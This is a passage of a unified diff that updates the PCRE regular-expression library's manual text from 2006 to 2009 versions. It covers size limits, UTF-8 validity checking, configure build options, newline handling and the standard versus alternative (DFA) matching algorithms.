        library is built. The pcre_config() function makes it  possible  for  a
@@ -67,6 +75,7 @@
        of searching. The sections are as follows:
 
          pcre              this document
+         pcre-config       show PCRE installation configuration information
          pcreapi           details of PCRE's native C API
          pcrebuild         options for building PCRE
          pcrecallout       details of the callout feature
@@ -77,6 +86,7 @@
          pcrepartial       details of the partial matching facility
          pcrepattern       syntax and semantics of supported
                              regular expressions
+         pcresyntax        quick syntax reference
          pcreperform       discussion of performance issues
          pcreposix         the POSIX-compatible C API
          pcreprecompile    details of saving and re-using precompiled patterns
@@ -84,60 +94,57 @@
          pcrestack         discussion of stack usage
          pcretest          description of the pcretest testing command
 
-       In  addition,  in the "man" and HTML formats, there is a short page for
+       In addition, in the "man" and HTML formats, there is a short  page  for
        each C library function, listing its arguments and results.
 
 
 LIMITATIONS
 
-       There are some size limitations in PCRE but it is hoped that they  will
+       There  are some size limitations in PCRE but it is hoped that they will
        never in practice be relevant.
 
-       The  maximum  length of a compiled pattern is 65539 (sic) bytes if PCRE
+       The maximum length of a compiled pattern is 65539 (sic) bytes  if  PCRE
        is compiled with the default internal linkage size of 2. If you want to
-       process  regular  expressions  that are truly enormous, you can compile
-       PCRE with an internal linkage size of 3 or 4 (see the  README  file  in
-       the  source  distribution and the pcrebuild documentation for details).
-       In these cases the limit is substantially larger.  However,  the  speed
-       of execution will be slower.
+       process regular expressions that are truly enormous,  you  can  compile
+       PCRE  with  an  internal linkage size of 3 or 4 (see the README file in
+       the source distribution and the pcrebuild documentation  for  details).
+       In  these  cases the limit is substantially larger.  However, the speed
+       of execution is slower.
 
-       All  values in repeating quantifiers must be less than 65536. The maxi-
-       mum compiled length of subpattern with  an  explicit  repeat  count  is
-       30000 bytes. The maximum number of capturing subpatterns is 65535.
+       All values in repeating quantifiers must be less than 65536.
 
-       There  is  no limit to the number of non-capturing subpatterns, but the
-       maximum depth of nesting of  all  kinds  of  parenthesized  subpattern,
-       including capturing subpatterns, assertions, and other types of subpat-
-       tern, is 200.
+       There is no limit to the number of parenthesized subpatterns, but there
+       can be no more than 65535 capturing subpatterns.
 
-       The maximum length of name for a named subpattern is 32, and the  maxi-
-       mum number of named subpatterns is 10000.
+       The maximum length of name for a named subpattern is 32 characters, and
+       the maximum number of named subpatterns is 10000.
 
-       The  maximum  length of a subject string is the largest positive number
-       that an integer variable can hold. However, when using the  traditional
+       The maximum length of a subject string is the largest  positive  number
+       that  an integer variable can hold. However, when using the traditional
        matching function, PCRE uses recursion to handle subpatterns and indef-
-       inite repetition.  This means that the available stack space may  limit
+       inite  repetition.  This means that the available stack space may limit
        the size of a subject string that can be processed by certain patterns.
        For a discussion of stack issues, see the pcrestack documentation.
 
 
 UTF-8 AND UNICODE PROPERTY SUPPORT
 
-       From release 3.3, PCRE has  had  some  support  for  character  strings
-       encoded  in the UTF-8 format. For release 4.0 this was greatly extended
-       to cover most common requirements, and in release 5.0  additional  sup-
+       From  release  3.3,  PCRE  has  had  some support for character strings
+       encoded in the UTF-8 format. For release 4.0 this was greatly  extended
+       to  cover  most common requirements, and in release 5.0 additional sup-
        port for Unicode general category properties was added.
 
-       In  order  process  UTF-8 strings, you must build PCRE to include UTF-8
-       support in the code, and, in addition,  you  must  call  pcre_compile()
-       with  the PCRE_UTF8 option flag. When you do this, both the pattern and
-       any subject strings that are matched against it are  treated  as  UTF-8
-       strings instead of just strings of bytes.
+       In order process UTF-8 strings, you must build PCRE  to  include  UTF-8
+       support  in  the  code,  and, in addition, you must call pcre_compile()
+       with the PCRE_UTF8 option flag, or the  pattern  must  start  with  the
+       sequence  (*UTF8).  When  either of these is the case, both the pattern
+       and any subject strings that are matched  against  it  are  treated  as
+       UTF-8 strings instead of just strings of bytes.
 
        If  you compile PCRE with UTF-8 support, but do not use it at run time,
        the library will be a bit bigger, but the additional run time  overhead
-       is  limited  to testing the PCRE_UTF8 flag in several places, so should
-       not be very large.
+       is limited to testing the PCRE_UTF8 flag occasionally, so should not be
+       very big.
 
        If PCRE is built with Unicode character property support (which implies
        UTF-8  support),  the  escape sequences \p{..}, \P{..}, and \X are sup-
@@ -151,72 +158,110 @@
        optionally  be  prefixed by "Is", for compatibility with Perl 5.6. PCRE
        does not support this.
 
-       The following comments apply when PCRE is running in UTF-8 mode:
+   Validity of UTF-8 strings
 
-       1. When you set the PCRE_UTF8 flag, the strings passed as patterns  and
-       subjects  are  checked for validity on entry to the relevant functions.
-       If an invalid UTF-8 string is passed, an error return is given. In some
-       situations,  you  may  already  know  that  your strings are valid, and
-       therefore want to skip these checks in order to improve performance. If
-       you  set  the  PCRE_NO_UTF8_CHECK  flag at compile time or at run time,
-       PCRE assumes that the pattern or subject  it  is  given  (respectively)
-       contains  only valid UTF-8 codes. In this case, it does not diagnose an
-       invalid UTF-8 string. If you pass an invalid UTF-8 string to PCRE  when
-       PCRE_NO_UTF8_CHECK  is set, the results are undefined. Your program may
-       crash.
+       When you set the PCRE_UTF8 flag, the strings  passed  as  patterns  and
+       subjects are (by default) checked for validity on entry to the relevant
+       functions. From release 7.3 of PCRE, the check is according  the  rules
+       of  RFC  3629, which are themselves derived from the Unicode specifica-
+       tion. Earlier releases of PCRE followed the rules of  RFC  2279,  which
+       allows  the  full range of 31-bit values (0 to 0x7FFFFFFF). The current
+       check allows only values in the range U+0 to U+10FFFF, excluding U+D800
+       to U+DFFF.
 
-       2. An unbraced hexadecimal escape sequence (such  as  \xb3)  matches  a
+       The  excluded  code  points are the "Low Surrogate Area" of Unicode, of
+       which the Unicode Standard says this: "The Low Surrogate Area does  not
+       contain  any  character  assignments,  consequently  no  character code
+       charts or namelists are provided for this area. Surrogates are reserved
+       for  use  with  UTF-16 and then must be used in pairs." The code points
+       that are encoded by UTF-16 pairs  are  available  as  independent  code
+       points  in  the  UTF-8  encoding.  (In other words, the whole surrogate
+       thing is a fudge for UTF-16 which unfortunately messes up UTF-8.)
+
+       If an  invalid  UTF-8  string  is  passed  to  PCRE,  an  error  return
+       (PCRE_ERROR_BADUTF8) is given. In some situations, you may already know
+       that your strings are valid, and therefore want to skip these checks in
+       order to improve performance. If you set the PCRE_NO_UTF8_CHECK flag at
+       compile time or at run time, PCRE assumes that the pattern  or  subject
+       it  is  given  (respectively)  contains only valid UTF-8 codes. In this
+       case, it does not diagnose an invalid UTF-8 string.
+
+       If you pass an invalid UTF-8 string  when  PCRE_NO_UTF8_CHECK  is  set,
+       what  happens  depends on why the string is invalid. If the string con-
+       forms to the "old" definition of UTF-8 (RFC 2279), it is processed as a
+       string  of  characters  in  the  range 0 to 0x7FFFFFFF. In other words,
+       apart from the initial validity test, PCRE (when in UTF-8 mode) handles
+       strings  according  to  the more liberal rules of RFC 2279. However, if
+       the string does not even conform to RFC 2279, the result is  undefined.
+       Your program may crash.
+
+       If  you  want  to  process  strings  of  values  in the full range 0 to
+       0x7FFFFFFF, encoded in a UTF-8-like manner as per the old RFC, you  can
+       set PCRE_NO_UTF8_CHECK to bypass the more restrictive test. However, in
+       this situation, you will have to apply your own validity check.
+
+   General comments about UTF-8 mode
+
+       1. An unbraced hexadecimal escape sequence (such  as  \xb3)  matches  a
        two-byte UTF-8 character if the value is greater than 127.
 
-       3.  Octal  numbers  up to \777 are recognized, and match two-byte UTF-8
+       2.  Octal  numbers  up to \777 are recognized, and match two-byte UTF-8
        characters for values greater than \177.
 
-       4. Repeat quantifiers apply to complete UTF-8 characters, not to  indi-
+       3. Repeat quantifiers apply to complete UTF-8 characters, not to  indi-
        vidual bytes, for example: \x{100}{3}.
 
-       5.  The dot metacharacter matches one UTF-8 character instead of a sin-
+       4.  The dot metacharacter matches one UTF-8 character instead of a sin-
        gle byte.
 
-       6. The escape sequence \C can be used to match a single byte  in  UTF-8
+       5. The escape sequence \C can be used to match a single byte  in  UTF-8
        mode,  but  its  use can lead to some strange effects. This facility is
        not available in the alternative matching function, pcre_dfa_exec().
 
-       7. The character escapes \b, \B, \d, \D, \s, \S, \w, and  \W  correctly
+       6. The character escapes \b, \B, \d, \D, \s, \S, \w, and  \W  correctly
        test  characters of any code value, but the characters that PCRE recog-
        nizes as digits, spaces, or word characters  remain  the  same  set  as
        before, all with values less than 256. This remains true even when PCRE
        includes Unicode property support, because to do otherwise  would  slow
        down  PCRE in many common cases. If you really want to test for a wider
        sense of, say, "digit", you must use Unicode  property  tests  such  as
-       \p{Nd}.
+       \p{Nd}.  Note  that  this  also applies to \b, because it is defined in
+       terms of \w and \W.
 
-       8.  Similarly,  characters that match the POSIX named character classes
+       7. Similarly, characters that match the POSIX named  character  classes
        are all low-valued characters.
 
-       9. Case-insensitive matching applies only to  characters  whose  values
-       are  less than 128, unless PCRE is built with Unicode property support.
-       Even when Unicode property support is available, PCRE  still  uses  its
-       own  character  tables when checking the case of low-valued characters,
-       so as not to degrade performance.  The Unicode property information  is
+       8.  However,  the Perl 5.10 horizontal and vertical whitespace matching
+       escapes (\h, \H, \v, and \V) do match all the appropriate Unicode char-
+       acters.
+
+       9.  Case-insensitive  matching  applies only to characters whose values
+       are less than 128, unless PCRE is built with Unicode property  support.
+       Even  when  Unicode  property support is available, PCRE still uses its
+       own character tables when checking the case of  low-valued  characters,
+       so  as not to degrade performance.  The Unicode property information is
        used only for characters with higher values. Even when Unicode property
        support is available, PCRE supports case-insensitive matching only when
-       there  is  a  one-to-one  mapping between a letter's cases. There are a
-       small number of many-to-one mappings in Unicode;  these  are  not  sup-
+       there is a one-to-one mapping between a letter's  cases.  There  are  a
+       small  number  of  many-to-one  mappings in Unicode; these are not sup-
        ported by PCRE.
 
 
 AUTHOR
 
        Philip Hazel
-       University Computing Service,
-       Cambridge CB2 3QG, England.
+       University Computing Service
+       Cambridge CB2 3QH, England.
 
-       Putting  an actual email address here seems to have been a spam magnet,
-       so I've taken it away. If you want to email me, use my initial and sur-
-       name, separated by a dot, at the domain ucs.cam.ac.uk.
+       Putting an actual email address here seems to have been a spam  magnet,
+       so  I've  taken  it away. If you want to email me, use my two initials,
+       followed by the two digits 10, at the domain cam.ac.uk.
 
-Last updated: 05 June 2006
-Copyright (c) 1997-2006 University of Cambridge.
+
+REVISION
+
+       Last updated: 11 April 2009
+       Copyright (c) 1997-2009 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
@@ -230,20 +275,25 @@
 PCRE BUILD-TIME OPTIONS
 
        This  document  describes  the  optional  features  of PCRE that can be
-       selected when the library is compiled. They are all selected, or  dese-
-       lected, by providing options to the configure script that is run before
-       the make command. The complete list of  options  for  configure  (which
-       includes  the  standard  ones such as the selection of the installation
-       directory) can be obtained by running
+       selected when the library is compiled. It assumes use of the  configure
+       script,  where the optional features are selected or deselected by pro-
+       viding options to configure before running the make  command.  However,
+       the  same  options  can be selected in both Unix-like and non-Unix-like
+       environments using the GUI facility of  CMakeSetup  if  you  are  using
+       CMake instead of configure to build PCRE.
 
+       The complete list of options for configure (which includes the standard
+       ones such as the  selection  of  the  installation  directory)  can  be
+       obtained by running
+
          ./configure --help
 
-       The following sections describe certain options whose names begin  with
-       --enable  or  --disable. These settings specify changes to the defaults
-       for the configure command. Because of the  way  that  configure  works,
-       --enable  and  --disable  always  come  in  pairs, so the complementary
-       option always exists as well, but as it specifies the  default,  it  is
-       not described.
+       The  following  sections  include  descriptions  of options whose names
+       begin with --enable or --disable. These settings specify changes to the
+       defaults  for  the configure command. Because of the way that configure
+       works, --enable and --disable always come in pairs, so  the  complemen-
+       tary  option always exists as well, but as it specifies the default, it
+       is not described.
 
 
 C++ SUPPORT
@@ -259,41 +309,46 @@
 
 UTF-8 SUPPORT
 
-       To build PCRE with support for UTF-8 character strings, add
+       To build PCRE with support for UTF-8 Unicode character strings, add
 
          --enable-utf8
 
-       to  the  configure  command.  Of  itself, this does not make PCRE treat
-       strings as UTF-8. As well as compiling PCRE with this option, you  also
-       have  have to set the PCRE_UTF8 option when you call the pcre_compile()
+       to the configure command. Of itself, this  does  not  make  PCRE  treat
+       strings  as UTF-8. As well as compiling PCRE with this option, you also
+       have have to set the PCRE_UTF8 option when you call the  pcre_compile()
        function.
 
+       If  you set --enable-utf8 when compiling in an EBCDIC environment, PCRE
+       expects its input to be either ASCII or UTF-8 (depending on the runtime
+       option).  It  is not possible to support both EBCDIC and UTF-8 codes in
+       the same  version  of  the  library.  Consequently,  --enable-utf8  and
+       --enable-ebcdic are mutually exclusive.
 
+
 UNICODE CHARACTER PROPERTY SUPPORT
 
-       UTF-8 support allows PCRE to process character values greater than  255
-       in  the  strings that it handles. On its own, however, it does not pro-
+       UTF-8  support allows PCRE to process character values greater than 255
+       in the strings that it handles. On its own, however, it does  not  pro-
        vide any facilities for accessing the properties of such characters. If
-       you  want  to  be able to use the pattern escapes \P, \p, and \X, which
+       you want to be able to use the pattern escapes \P, \p,  and  \X,  which
        refer to Unicode character properties, you must add
 
          --enable-unicode-properties
 
-       to the configure command. This implies UTF-8 support, even if you  have
+       to  the configure command. This implies UTF-8 support, even if you have
        not explicitly requested it.
 
-       Including  Unicode  property  support  adds around 90K of tables to the
-       PCRE library, approximately doubling its size. Only the  general  cate-
-       gory  properties  such as Lu and Nd are supported. Details are given in
-       the pcrepattern documentation.
+       Including Unicode property support adds around 30K  of  tables  to  the
+       PCRE  library.  Only  the general category properties such as Lu and Nd
+       are supported. Details are given in the pcrepattern documentation.
 
 
 CODE VALUE OF NEWLINE
 
-       By default, PCRE interprets character 10 (linefeed, LF)  as  indicating
+       By default, PCRE interprets the linefeed (LF) character  as  indicating
        the  end  of  a line. This is the normal newline character on Unix-like
-       systems. You can compile PCRE to use character 13 (carriage return, CR)
-       instead, by adding
+       systems. You can compile PCRE to use carriage return (CR)  instead,  by
+       adding
 
          --enable-newline-is-cr
 
@@ -305,12 +360,35 @@
 
          --enable-newline-is-crlf
 
-       to  the  configure command. Whatever line ending convention is selected
-       when PCRE is built can be overridden when  the  library  functions  are
-       called.  At  build time it is conventional to use the standard for your
-       operating system.
+       to the configure command. There is a fourth option, specified by
 
+         --enable-newline-is-anycrlf
 
+       which  causes  PCRE  to recognize any of the three sequences CR, LF, or
+       CRLF as indicating a line ending. Finally, a fifth option, specified by
+
+         --enable-newline-is-any
+
+       causes PCRE to recognize any Unicode newline sequence.
+
+       Whatever line ending convention is selected when PCRE is built  can  be
+       overridden  when  the library functions are called. At build time it is
+       conventional to use the standard for your operating system.
+
+
+WHAT \R MATCHES
+
+       By default, the sequence \R in a pattern matches  any  Unicode  newline
+       sequence,  whatever  has  been selected as the line ending sequence. If
+       you specify
+
+         --enable-bsr-anycrlf
+
+       the default is changed so that \R matches only CR, LF, or  CRLF.  What-
+       ever  is selected when PCRE is built can be overridden when the library
+       functions are called.
+
+
 BUILDING SHARED AND STATIC LIBRARIES
 
        The PCRE building process uses libtool to build both shared and  static
@@ -356,81 +434,161 @@
        longer  offsets slows down the operation of PCRE because it has to load
        additional bytes when handling them.
 
-       If you build PCRE with an increased link size, test 2 (and  test  5  if
-       you  are using UTF-8) will fail. Part of the output of these tests is a
-       representation of the compiled pattern, and this changes with the  link
-       size.
 
-
 AVOIDING EXCESSIVE STACK USAGE
 
        When matching with the pcre_exec() function, PCRE implements backtrack-
-       ing by making recursive calls to an internal function  called  match().
-       In  environments  where  the size of the stack is limited, this can se-
-       verely limit PCRE's operation. (The Unix environment does  not  usually
+       ing  by  making recursive calls to an internal function called match().
+       In environments where the size of the stack is limited,  this  can  se-
+       verely  limit  PCRE's operation. (The Unix environment does not usually
        suffer from this problem, but it may sometimes be necessary to increase
-       the maximum stack size.  There is a discussion in the  pcrestack  docu-
-       mentation.)  An alternative approach to recursion that uses memory from
-       the heap to remember data, instead of using recursive  function  calls,
-       has  been  implemented to work round the problem of limited stack size.
+       the  maximum  stack size.  There is a discussion in the pcrestack docu-
+       mentation.) An alternative approach to recursion that uses memory  from
+       the  heap  to remember data, instead of using recursive function calls,
+       has been implemented to work round the problem of limited  stack  size.
        If you want to build a version of PCRE that works this way, add
 
          --disable-stack-for-recursion
 
-       to the configure command. With this configuration, PCRE  will  use  the
-       pcre_stack_malloc  and pcre_stack_free variables to call memory manage-
-       ment functions. Separate functions are provided because  the  usage  is
-       very  predictable:  the  block sizes requested are always the same, and
-       the blocks are always freed in reverse order. A calling  program  might
-       be  able  to implement optimized functions that perform better than the
-       standard malloc() and  free()  functions.  PCRE  runs  noticeably  more
-       slowly when built in this way. This option affects only the pcre_exec()
-       function; it is not relevant for the the pcre_dfa_exec() function.
+       to  the  configure  command. With this configuration, PCRE will use the
+       pcre_stack_malloc and pcre_stack_free variables to call memory  manage-
+       ment  functions. By default these point to malloc() and free(), but you
+       can replace the pointers so that your own functions are used.
 
+       Separate functions are  provided  rather  than  using  pcre_malloc  and
+       pcre_free  because  the  usage  is  very  predictable:  the block sizes
+       requested are always the same, and  the  blocks  are  always  freed  in
+       reverse  order.  A calling program might be able to implement optimized
+       functions that perform better  than  malloc()  and  free().  PCRE  runs
+       noticeably more slowly when built in this way. This option affects only
+       the  pcre_exec()  function;  it   is   not   relevant   for   the   the
+       pcre_dfa_exec() function.
 
+
 LIMITING PCRE RESOURCE USAGE
 
-       Internally, PCRE has a function called match(), which it calls  repeat-
-       edly   (sometimes   recursively)  when  matching  a  pattern  with  the
-       pcre_exec() function. By controlling the maximum number of  times  this
-       function  may be called during a single matching operation, a limit can
-       be placed on the resources used by a single call  to  pcre_exec().  The
-       limit  can be changed at run time, as described in the pcreapi documen-
-       tation. The default is 10 million, but this can be changed by adding  a
+       Internally,  PCRE has a function called match(), which it calls repeat-
+       edly  (sometimes  recursively)  when  matching  a  pattern   with   the
+       pcre_exec()  function.  By controlling the maximum number of times this
+       function may be called during a single matching operation, a limit  can
+       be  placed  on  the resources used by a single call to pcre_exec(). The
+       limit can be changed at run time, as described in the pcreapi  documen-
+       tation.  The default is 10 million, but this can be changed by adding a
        setting such as
 
          --with-match-limit=500000
 
-       to   the   configure  command.  This  setting  has  no  effect  on  the
+       to  the  configure  command.  This  setting  has  no  effect   on   the
        pcre_dfa_exec() matching function.
 
-       In some environments it is desirable to limit the  depth  of  recursive
+       In  some  environments  it is desirable to limit the depth of recursive
        calls of match() more strictly than the total number of calls, in order
-       to restrict the maximum amount of stack (or heap,  if  --disable-stack-
+       to  restrict  the maximum amount of stack (or heap, if --disable-stack-
        for-recursion is specified) that is used. A second limit controls this;
-       it defaults to the value that  is  set  for  --with-match-limit,  which
-       imposes  no  additional constraints. However, you can set a lower limit
+       it  defaults  to  the  value  that is set for --with-match-limit, which
+       imposes no additional constraints. However, you can set a  lower  limit
        by adding, for example,
 
          --with-match-limit-recursion=10000
 
-       to the configure command. This value can  also  be  overridden  at  run
+       to  the  configure  command.  This  value can also be overridden at run
        time.
 
 
+CREATING CHARACTER TABLES AT BUILD TIME
+
+       PCRE uses fixed tables for processing characters whose code values  are
+       less  than 256. By default, PCRE is built with a set of tables that are
+       distributed in the file pcre_chartables.c.dist. These  tables  are  for
+       ASCII codes only. If you add
+
+         --enable-rebuild-chartables
+
+       to  the  configure  command, the distributed tables are no longer used.
+       Instead, a program called dftables is compiled and  run.  This  outputs
+       the source for new set of tables, created in the default locale of your
+       C runtime system. (This method of replacing the tables does not work if
+       you  are cross compiling, because dftables is run on the local host. If
+       you need to create alternative tables when cross  compiling,  you  will
+       have to do so "by hand".)
+
+
 USING EBCDIC CODE
 
        PCRE  assumes  by  default that it will run in an environment where the
        character code is ASCII (or Unicode, which is  a  superset  of  ASCII).
-       PCRE  can,  however,  be  compiled  to  run in an EBCDIC environment by
-       adding
+       This  is  the  case for most computer operating systems. PCRE can, how-
+       ever, be compiled to run in an EBCDIC environment by adding
 
          --enable-ebcdic
 
-       to the configure command.
+       to the configure command. This setting implies --enable-rebuild-charta-
+       bles.  You  should  only  use  it if you know that you are in an EBCDIC
+       environment (for example,  an  IBM  mainframe  operating  system).  The
+       --enable-ebcdic option is incompatible with --enable-utf8.
 
-Last updated: 06 June 2006
-Copyright (c) 1997-2006 University of Cambridge.
+
+PCREGREP OPTIONS FOR COMPRESSED FILE SUPPORT
+
+       By default, pcregrep reads all files as plain text. You can build it so
+       that it recognizes files whose names end in .gz or .bz2, and reads them
+       with libz or libbz2, respectively, by adding one or both of
+
+         --enable-pcregrep-libz
+         --enable-pcregrep-libbz2
+
+       to the configure command. These options naturally require that the rel-
+       evant libraries are installed on your system. Configuration  will  fail
+       if they are not.
+
+
+PCRETEST OPTION FOR LIBREADLINE SUPPORT
+
+       If you add
+
+         --enable-pcretest-libreadline
+
+       to  the  configure  command,  pcretest  is  linked with the libreadline
+       library, and when its input is from a terminal, it reads it  using  the
+       readline() function. This provides line-editing and history facilities.
+       Note that libreadline is GPL-licenced, so if you distribute a binary of
+       pcretest linked in this way, there may be licensing issues.
+
+       Setting  this  option  causes  the -lreadline option to be added to the
+       pcretest build. In many operating environments with  a  sytem-installed
+       libreadline this is sufficient. However, in some environments (e.g.  if
+       an unmodified distribution version of readline is in use),  some  extra
+       configuration  may  be necessary. The INSTALL file for libreadline says
+       this:
+
+         "Readline uses the termcap functions, but does not link with the
+         termcap or curses library itself, allowing applications which link
+         with readline the to choose an appropriate library."
+
+       If your environment has not been set up so that an appropriate  library
+       is automatically included, you may need to add something like
+
+         LIBS="-ncurses"
+
+       immediately before the configure command.
+
+
+SEE ALSO
+
+       pcreapi(3), pcre_config(3).
+
+
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 17 March 2009
+       Copyright (c) 1997-2009 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
@@ -466,7 +624,7 @@
          <something> <something else> <something further>
 
        there are three possible answers. The standard algorithm finds only one
-       of them, whereas the DFA algorithm finds all three.
+       of them, whereas the alternative algorithm finds all three.
 
 
 REGULAR EXPRESSIONS AS TREES
@@ -482,8 +640,8 @@
 
 THE STANDARD MATCHING ALGORITHM
 
-       In the terminology of Jeffrey Friedl's book Mastering  Regular  Expres-
-       sions,  the  standard  algorithm  is  an "NFA algorithm". It conducts a
+       In the terminology of Jeffrey Friedl's book "Mastering Regular  Expres-
+       sions",  the  standard  algorithm  is an "NFA algorithm". It conducts a
        depth-first search of the pattern tree. That is, it  proceeds  along  a
        single path through the tree, checking that the subject matches what is
        required. When there is a mismatch, the algorithm  tries  any  alterna-
@@ -507,21 +665,22 @@
        This provides support for capturing parentheses and back references.
 
 
-THE DFA MATCHING ALGORITHM
+THE ALTERNATIVE MATCHING ALGORITHM
 
-       DFA stands for "deterministic finite automaton", but you do not need to
-       understand the origins of that name. This algorithm conducts a breadth-
-       first search of the tree. Starting from the first matching point in the
-       subject,  it scans the subject string from left to right, once, charac-
-       ter by character, and as it does  this,  it  remembers  all  the  paths
-       through the tree that represent valid matches.
+       This algorithm conducts a breadth-first search of  the  tree.  Starting
+       from  the  first  matching  point  in the subject, it scans the subject
+       string from left to right, once, character by character, and as it does
+       this,  it remembers all the paths through the tree that represent valid
+       matches. In Friedl's terminology, this is a kind  of  "DFA  algorithm",
+       though  it is not implemented as a traditional finite state machine (it
+       keeps multiple states active simultaneously).
 
-       The  scan  continues until either the end of the subject is reached, or
-       there are no more unterminated paths. At this point,  terminated  paths
-       represent  the different matching possibilities (if there are none, the
-       match has failed).  Thus, if there is more  than  one  possible  match,
+       The scan continues until either the end of the subject is  reached,  or
+       there  are  no more unterminated paths. At this point, terminated paths
+       represent the different matching possibilities (if there are none,  the
+       match  has  failed).   Thus,  if there is more than one possible match,
        this algorithm finds all of them, and in particular, it finds the long-
-       est. In PCRE, there is an option to stop the algorithm after the  first
+       est.  In PCRE, there is an option to stop the algorithm after the first
        match (which is necessarily the shortest) has been found.
 
        Note that all the matches that are found start at the same point in the
@@ -529,43 +688,64 @@
 
          cat(er(pillar)?)
 
-       is matched against the string "the caterpillar catchment",  the  result
-       will  be the three strings "cat", "cater", and "caterpillar" that start
+       is  matched  against the string "the caterpillar catchment", the result
+       will be the three strings "cat", "cater", and "caterpillar" that  start
        at the fourth character of the subject. The algorithm does not automat-
        ically move on to find matches that start at later positions.
 
        There are a number of features of PCRE regular expressions that are not
-       supported by the DFA matching algorithm. They are as follows:
+       supported by the alternative matching algorithm. They are as follows:
 
-       1. Because the algorithm finds all  possible  matches,  the  greedy  or
-       ungreedy  nature  of repetition quantifiers is not relevant. Greedy and
-       ungreedy quantifiers are treated in exactly the same way.
+       1.  Because  the  algorithm  finds  all possible matches, the greedy or
+       ungreedy nature of repetition quantifiers is not relevant.  Greedy  and
+       ungreedy quantifiers are treated in exactly the same way. However, pos-
+       sessive quantifiers can make a difference when what follows could  also
+       match what is quantified, for example in a pattern like this:
 
+         ^a++\w!
+
+       This  pattern matches "aaab!" but not "aaa!", which would be matched by
+       a non-possessive quantifier. Similarly, if an atomic group is  present,
+       it  is matched as if it were a standalone pattern at the current point,
+       and the longest match is then "locked in" for the rest of  the  overall
+       pattern.
+
        2. When dealing with multiple paths through the tree simultaneously, it
-       is  not  straightforward  to  keep track of captured substrings for the
-       different matching possibilities, and  PCRE's  implementation  of  this
+       is not straightforward to keep track of  captured  substrings  for  the
+       different  matching  possibilities,  and  PCRE's implementation of this
        algorithm does not attempt to do this. This means that no captured sub-
        strings are available.
 
-       3. Because no substrings are captured, back references within the  pat-
+       3.  Because no substrings are captured, back references within the pat-
        tern are not supported, and cause errors if encountered.
 
-       4.  For  the same reason, conditional expressions that use a backrefer-
-       ence as the condition are not supported.
+       4. For the same reason, conditional expressions that use  a  backrefer-
+       ence  as  the  condition or test for a specific group recursion are not
+       supported.
 
-       5. Callouts are supported, but the value of the  capture_top  field  is
+       5. Because many paths through the tree may be  active,  the  \K  escape
+       sequence, which resets the start of the match when encountered (but may
+       be on some paths and not on others), is not  supported.  It  causes  an
+       error if encountered.
+
+       6.  Callouts  are  supported, but the value of the capture_top field is
        always 1, and the value of the capture_last field is always -1.
 
-       6.  The \C escape sequence, which (in the standard algorithm) matches a
-       single byte, even in UTF-8 mode, is not supported because the DFA algo-
-       rithm moves through the subject string one character at a time, for all
-       active paths through the tree.
+       7. The \C escape sequence, which (in the standard algorithm) matches  a
+       single  byte, even in UTF-8 mode, is not supported because the alterna-
+       tive algorithm moves through the subject  string  one  character  at  a
+       time, for all active paths through the tree.
 
+       8.  Except for (*FAIL), the backtracking control verbs such as (*PRUNE)
+       are not supported. (*FAIL) is supported, and  behaves  like  a  failing
+       negative assertion.
 
-ADVANTAGES OF THE DFA ALGORITHM
 
-       Using the DFA matching algorithm provides the following advantages:
+ADVANTAGES OF THE ALTERNATIVE ALGORITHM
 
+       Using  the alternative matching algorithm provides the following advan-
+       tages:
+
        1. All possible matches (at a single point in the subject) are automat-
        ically  found,  and  in particular, the longest match is found. To find
        more than one match using the standard algorithm, you have to do kludgy
@@ -573,19 +753,19 @@
 
        2.  There is much better support for partial matching. The restrictions
        on the content of the pattern that apply when using the standard  algo-
-       rithm  for partial matching do not apply to the DFA algorithm. For non-
-       anchored patterns, the starting position of a partial match  is  avail-
-       able.
+       rithm  for  partial matching do not apply to the alternative algorithm.
+       For non-anchored patterns, the starting position of a partial match  is
+       available.
 
-       3.  Because  the  DFA algorithm scans the subject string just once, and
-       never needs to backtrack, it is possible  to  pass  very  long  subject
-       strings  to  the matching function in several pieces, checking for par-
-       tial matching each time.
+       3.  Because  the  alternative  algorithm  scans the subject string just
+       once, and never needs to backtrack, it is possible to  pass  very  long
+       subject  strings  to  the matching function in several pieces, checking
+       for partial matching each time.
 
 
-DISADVANTAGES OF THE DFA ALGORITHM
+DISADVANTAGES OF THE ALTERNATIVE ALGORITHM
 
-       The DFA algorithm suffers from a number of disadvantages:
+       The alternative algorithm suffers from a number of disadvantages:
 
        1. It is substantially slower than  the  standard  algorithm.  This  is
        partly  because  it has to search for all possible matches, but is also
@@ -593,12 +773,21 @@
 
        2. Capturing parentheses and back references are not supported.
 
-       3. The "atomic group" feature of PCRE regular expressions is supported,
-       but  does not provide the advantage that it does for the standard algo-
-       rithm.
+       3. Although atomic groups are supported, their use does not provide the
+       performance advantage that it does for the standard algorithm.
 
-Last updated: 06 June 2006
-Copyright (c) 1997-2006 University of Cambridge.
+
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 19 April 2008
+       Copyright (c) 1997-2008 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
@@ -692,7 +881,7 @@
 PCRE API OVERVIEW
 
        PCRE has its own native API, which is described in this document. There
-       is also a set of wrapper functions that correspond to the POSIX regular
+       are also some wrapper functions that correspond to  the  POSIX  regular
        expression  API.  These  are  described in the pcreposix documentation.
        Both of these APIs define a set of C function calls. A C++  wrapper  is
        distributed with PCRE. It is documented in the pcrecpp page.
@@ -710,15 +899,15 @@
        a  Perl-compatible  manner. A sample program that demonstrates the sim-
        plest way of using them is provided in the file  called  pcredemo.c  in
        the  source distribution. The pcresample documentation describes how to
-       run it.
+       compile and run it.
 
        A second matching function, pcre_dfa_exec(), which is not Perl-compati-
        ble,  is  also provided. This uses a different algorithm for the match-
        ing. The alternative algorithm finds all possible matches (at  a  given
-       point in the subject). However, this algorithm does not return captured
-       substrings. A description of the  two  matching  algorithms  and  their
-       advantages  and  disadvantages  is given in the pcrematching documenta-
-       tion.
+       point  in  the subject), and scans the subject just once. However, this
+       algorithm does not return captured substrings. A description of the two
+       matching  algorithms and their advantages and disadvantages is given in
+       the pcrematching documentation.
 
        In addition to the main compiling and  matching  functions,  there  are
        convenience functions for extracting captured substrings from a subject
@@ -779,18 +968,39 @@
 
 
 NEWLINES
-       PCRE supports three different conventions for indicating line breaks in
-       strings: a single CR character, a single LF character, or the two-char-
-       acter  sequence  CRLF.  All  three  are used as "standard" by different
-       operating systems.  When PCRE is built, a default can be specified. The
